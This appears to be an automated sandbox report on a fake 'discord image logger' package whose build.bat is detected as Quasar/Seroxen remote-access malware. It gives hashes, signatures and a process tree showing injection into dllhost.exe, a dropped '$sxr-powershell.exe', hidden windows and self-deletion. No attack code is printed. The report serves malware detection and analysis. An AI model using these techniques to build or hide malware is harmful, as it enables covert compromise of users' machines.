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Overview
overview
10Static
static
10discord-im...ld.bat
windows7-x64
10discord-im...ld.bat
windows10-2004-x64
10discord-im...bug.py
windows7-x64
3discord-im...bug.py
windows10-2004-x64
3discord-im...ers.py
windows7-x64
3discord-im...ers.py
windows10-2004-x64
3discord-im...ken.py
windows7-x64
3discord-im...ken.py
windows10-2004-x64
3discord-im...ion.py
windows7-x64
3discord-im...ion.py
windows10-2004-x64
3discord-im...tup.py
windows7-x64
3discord-im...tup.py
windows10-2004-x64
3discord-im...nfo.py
windows7-x64
3discord-im...nfo.py
windows10-2004-x64
3discord-im...fig.py
windows7-x64
3discord-im...fig.py
windows10-2004-x64
3discord-im...ain.py
windows7-x64
3discord-im...ain.py
windows10-2004-x64
3Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
24/02/2025, 04:13
Behavioral task
behavioral1
Sample
discord-image-logger-release/build.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
discord-image-logger-release/build.bat
Resource
win10v2004-20250217-en
Behavioral task
behavioral3
Sample
discord-image-logger-release/src/components/antidebug.py
Resource
win7-20241023-en
Behavioral task
behavioral4
Sample
discord-image-logger-release/src/components/antidebug.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral5
Sample
discord-image-logger-release/src/components/browsers.py
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
discord-image-logger-release/src/components/browsers.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral7
Sample
discord-image-logger-release/src/components/discordtoken.py
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
discord-image-logger-release/src/components/discordtoken.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral9
Sample
discord-image-logger-release/src/components/injection.py
Resource
win7-20241010-en
Behavioral task
behavioral10
Sample
discord-image-logger-release/src/components/injection.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral11
Sample
discord-image-logger-release/src/components/startup.py
Resource
win7-20250207-en
Behavioral task
behavioral12
Sample
discord-image-logger-release/src/components/startup.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral13
Sample
discord-image-logger-release/src/components/systeminfo.py
Resource
win7-20241010-en
Behavioral task
behavioral14
Sample
discord-image-logger-release/src/components/systeminfo.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral15
Sample
discord-image-logger-release/src/config.py
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
discord-image-logger-release/src/config.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral17
Sample
discord-image-logger-release/src/main.py
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
discord-image-logger-release/src/main.py
Resource
win10v2004-20250217-en
General
-
Target
discord-image-logger-release/build.bat
-
Size
14.0MB
-
MD5
ef8beb81c6fa2aaad4a314be361292ce
-
SHA1
7b7296096931ac5d62081cc91ead8afd2346e0c7
-
SHA256
6377476be087b6911f24f93a601fd8f46461f52815ec27f95371c8418c385377
-
SHA512
8ffa18e66e4e8a3a23eb7c2375fa6b25aab90da3265f35d56ea9965f8d2c89a988052bbd0e05c0b3b3c124cb5e9f47b0b6ab5ea0df3b880d449fd3ff2a25767f
-
SSDEEP
49152:Lhha5TtF7ZXKxZvLjnrt64H1eGHrWT7xdJ11ar07nqcBIL/ULWorCWmZ9vXEdQm/:E
Malware Config
Extracted
quasar
-
reconnect_delay
3000
Signatures
-
Quasar family
-
Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/4128-58-0x000001B575460000-0x000001B575BD6000-memory.dmp family_quasar -
Seroxen family
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 4252 created 588 4252 build.bat.exe 5 PID 4128 created 588 4128 $sxr-powershell.exe 5 PID 4128 created 588 4128 $sxr-powershell.exe 5 PID 4252 created 588 4252 build.bat.exe 5 PID 4252 created 588 4252 build.bat.exe 5 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation build.bat.exe -
Deletes itself 1 IoCs
pid Process 4252 build.bat.exe -
Executes dropped EXE 3 IoCs
pid Process 4252 build.bat.exe 4128 $sxr-powershell.exe 5104 $sxr-powershell.exe -
Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 5104 $sxr-powershell.exe 4128 $sxr-powershell.exe -
Drops file in System32 directory 14 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\System32\vcruntime140_1d.dll build.bat.exe File created C:\Windows\System32\vcruntime140d.dll build.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll build.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\System32\ucrtbased.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 4252 set thread context of 5108 4252 build.bat.exe 90 PID 4128 set thread context of 2716 4128 $sxr-powershell.exe 94 PID 4128 set thread context of 3728 4128 $sxr-powershell.exe 96 PID 4252 set thread context of 212 4252 build.bat.exe 98 PID 4252 set thread context of 4660 4252 build.bat.exe 99 -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\$sxr-powershell.exe build.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe build.bat.exe File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2720 cmd.exe 2888 PING.EXE -
Kills process with taskkill 1 IoCs
pid Process 2868 taskkill.exe -
Modifies data under HKEY_USERS 54 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1740370487" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 24 Feb 2025 04:14:48 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={6E75927A-EA84-4F8F-95FC-2A90EA306FF6}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2888 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4252 build.bat.exe 4252 build.bat.exe 4252 build.bat.exe 5108 dllhost.exe 5108 dllhost.exe 5108 dllhost.exe 5108 dllhost.exe 4252 build.bat.exe 4252 build.bat.exe 4128 $sxr-powershell.exe 4128 $sxr-powershell.exe 4128 $sxr-powershell.exe 4128 $sxr-powershell.exe 2716 dllhost.exe 2716 dllhost.exe 2716 dllhost.exe 2716 dllhost.exe 4128 $sxr-powershell.exe 4128 $sxr-powershell.exe 5104 $sxr-powershell.exe 5104 $sxr-powershell.exe 5104 $sxr-powershell.exe 5104 $sxr-powershell.exe 4128 $sxr-powershell.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe 3728 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 57 IoCs
description pid Process Token: SeDebugPrivilege 4252 build.bat.exe Token: SeDebugPrivilege 4252 build.bat.exe Token: SeDebugPrivilege 5108 dllhost.exe Token: SeDebugPrivilege 4128 $sxr-powershell.exe Token: SeDebugPrivilege 4128 $sxr-powershell.exe Token: SeDebugPrivilege 2716 dllhost.exe Token: SeDebugPrivilege 5104 $sxr-powershell.exe Token: SeDebugPrivilege 4128 $sxr-powershell.exe Token: SeDebugPrivilege 3728 dllhost.exe Token: SeShutdownPrivilege 316 dwm.exe Token: SeCreatePagefilePrivilege 316 dwm.exe Token: SeAuditPrivilege 2800 svchost.exe Token: SeDebugPrivilege 4252 build.bat.exe Token: SeDebugPrivilege 212 dllhost.exe Token: SeDebugPrivilege 4252 build.bat.exe Token: SeDebugPrivilege 4660 dllhost.exe Token: SeDebugPrivilege 2868 taskkill.exe Token: SeAssignPrimaryTokenPrivilege 1544 svchost.exe Token: SeIncreaseQuotaPrivilege 1544 svchost.exe Token: SeSecurityPrivilege 1544 svchost.exe Token: SeTakeOwnershipPrivilege 1544 svchost.exe Token: SeLoadDriverPrivilege 1544 svchost.exe Token: SeSystemtimePrivilege 1544 svchost.exe Token: SeBackupPrivilege 1544 svchost.exe Token: SeRestorePrivilege 1544 svchost.exe Token: SeShutdownPrivilege 1544 svchost.exe Token: SeSystemEnvironmentPrivilege 1544 svchost.exe Token: SeUndockPrivilege 1544 svchost.exe Token: SeManageVolumePrivilege 1544 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1544 svchost.exe Token: SeIncreaseQuotaPrivilege 1544 svchost.exe Token: SeSecurityPrivilege 1544 svchost.exe Token: SeTakeOwnershipPrivilege 1544 svchost.exe Token: SeLoadDriverPrivilege 1544 svchost.exe Token: SeSystemtimePrivilege 1544 svchost.exe Token: SeBackupPrivilege 1544 svchost.exe Token: SeRestorePrivilege 1544 svchost.exe Token: SeShutdownPrivilege 1544 svchost.exe Token: SeSystemEnvironmentPrivilege 1544 svchost.exe Token: SeUndockPrivilege 1544 svchost.exe Token: SeManageVolumePrivilege 1544 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1544 svchost.exe Token: SeIncreaseQuotaPrivilege 1544 svchost.exe Token: SeSecurityPrivilege 1544 svchost.exe Token: SeTakeOwnershipPrivilege 1544 svchost.exe Token: SeLoadDriverPrivilege 1544 svchost.exe Token: SeSystemtimePrivilege 1544 svchost.exe Token: SeBackupPrivilege 1544 svchost.exe Token: SeRestorePrivilege 1544 svchost.exe Token: SeShutdownPrivilege 1544 svchost.exe Token: SeSystemEnvironmentPrivilege 1544 svchost.exe Token: SeUndockPrivilege 1544 svchost.exe Token: SeManageVolumePrivilege 1544 svchost.exe Token: SeShutdownPrivilege 3544 Explorer.EXE Token: SeCreatePagefilePrivilege 3544 Explorer.EXE Token: SeShutdownPrivilege 316 dwm.exe Token: SeCreatePagefilePrivilege 316 dwm.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4128 $sxr-powershell.exe 4584 Conhost.exe -
Suspicious use of UnmapMainImage 2 IoCs
pid Process 3544 Explorer.EXE 4000 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3940 wrote to memory of 1440 3940 cmd.exe 87 PID 3940 wrote to memory of 1440 3940 cmd.exe 87 PID 1440 wrote to memory of 1892 1440 net.exe 88 PID 1440 wrote to memory of 1892 1440 net.exe 88 PID 3940 wrote to memory of 4252 3940 cmd.exe 89 PID 3940 wrote to memory of 4252 3940 cmd.exe 89 PID 4252 wrote to memory of 5108 4252 build.bat.exe 90 PID 4252 wrote to memory of 5108 4252 build.bat.exe 90 PID 4252 wrote to memory of 5108 4252 build.bat.exe 90 PID 4252 wrote to memory of 5108 4252 build.bat.exe 90 PID 4252 wrote to memory of 5108 4252 build.bat.exe 90 PID 4252 wrote to memory of 5108 4252 build.bat.exe 90 PID 4252 wrote to memory of 5108 4252 build.bat.exe 90 PID 4252 wrote to memory of 4128 4252 build.bat.exe 91 PID 4252 wrote to memory of 4128 4252 build.bat.exe 91 PID 4128 wrote to memory of 2716 4128 $sxr-powershell.exe 94 PID 4128 wrote to memory of 2716 4128 $sxr-powershell.exe 94 PID 4128 wrote to memory of 2716 4128 $sxr-powershell.exe 94 PID 4128 wrote to memory of 2716 4128 $sxr-powershell.exe 94 PID 4128 wrote to memory of 2716 4128 $sxr-powershell.exe 94 PID 4128 wrote to memory of 2716 4128 $sxr-powershell.exe 94 PID 4128 wrote to memory of 2716 4128 $sxr-powershell.exe 94 PID 4128 wrote to memory of 5104 4128 $sxr-powershell.exe 95 PID 4128 wrote to memory of 5104 4128 $sxr-powershell.exe 95 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 4128 wrote to memory of 3728 4128 $sxr-powershell.exe 96 PID 3728 wrote to memory of 588 3728 dllhost.exe 5 PID 3728 wrote to memory of 676 3728 dllhost.exe 7 PID 3728 wrote to memory of 964 3728 dllhost.exe 12 PID 3728 wrote to memory of 316 3728 dllhost.exe 13 PID 3728 wrote to memory of 428 3728 dllhost.exe 14 PID 3728 wrote to memory of 960 3728 dllhost.exe 15 PID 3728 wrote to memory of 1144 3728 dllhost.exe 17 PID 3728 wrote to memory of 1156 3728 dllhost.exe 18 PID 3728 wrote to memory of 1152 3728 dllhost.exe 19 PID 3728 wrote to memory of 1172 3728 dllhost.exe 20 PID 3728 wrote to memory of 1252 3728 dllhost.exe 21 PID 3728 wrote to memory of 1312 3728 dllhost.exe 22 PID 3728 wrote to memory of 1356 3728 dllhost.exe 23 PID 3728 wrote to memory of 1420 3728 dllhost.exe 24 PID 3728 wrote to memory of 1432 3728 dllhost.exe 25 PID 3728 wrote to memory of 1612 3728 dllhost.exe 26 PID 3728 wrote to memory of 1632 3728 dllhost.exe 27 PID 3728 wrote to memory of 1644 3728 dllhost.exe 28 PID 3728 wrote to memory of 1724 3728 dllhost.exe 29 PID 3728 wrote to memory of 1760 3728 dllhost.exe 30 PID 3728 wrote to memory of 1772 3728 dllhost.exe 31 PID 3728 wrote to memory of 1896 3728 dllhost.exe 32 PID 3728 wrote to memory of 1976 3728 dllhost.exe 33 PID 3728 wrote to memory of 1992 3728 dllhost.exe 34 PID 3728 wrote to memory of 1428 3728 dllhost.exe 35 PID 3728 wrote to memory of 1544 3728 dllhost.exe 36 PID 3728 wrote to memory of 2060 3728 dllhost.exe 37 PID 3728 wrote to memory of 2168 3728 dllhost.exe 38 PID 3728 wrote to memory of 2248 3728 dllhost.exe 40 PID 3728 wrote to memory of 2396 3728 dllhost.exe 41 PID 3728 wrote to memory of 2512 3728 dllhost.exe 42 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1780 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:316
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{29e3a377-95a0-4802-8a48-ee3233688157}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5108
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{75055e9e-1b36-4a8b-9f64-3cffa611d538}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{83febc94-1ca6-478f-8026-e03b441fe7c1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3728
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3c5b91d6-04b0-4f4a-a74e-50dec0c968d1}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:212
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e7f6cb63-c51b-41a7-b34e-90e070577354}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4660
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:428
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1144
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1156
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1432
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2664
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1724
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1976
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1544
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2060
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2168
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2248
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2800
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2844
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2924
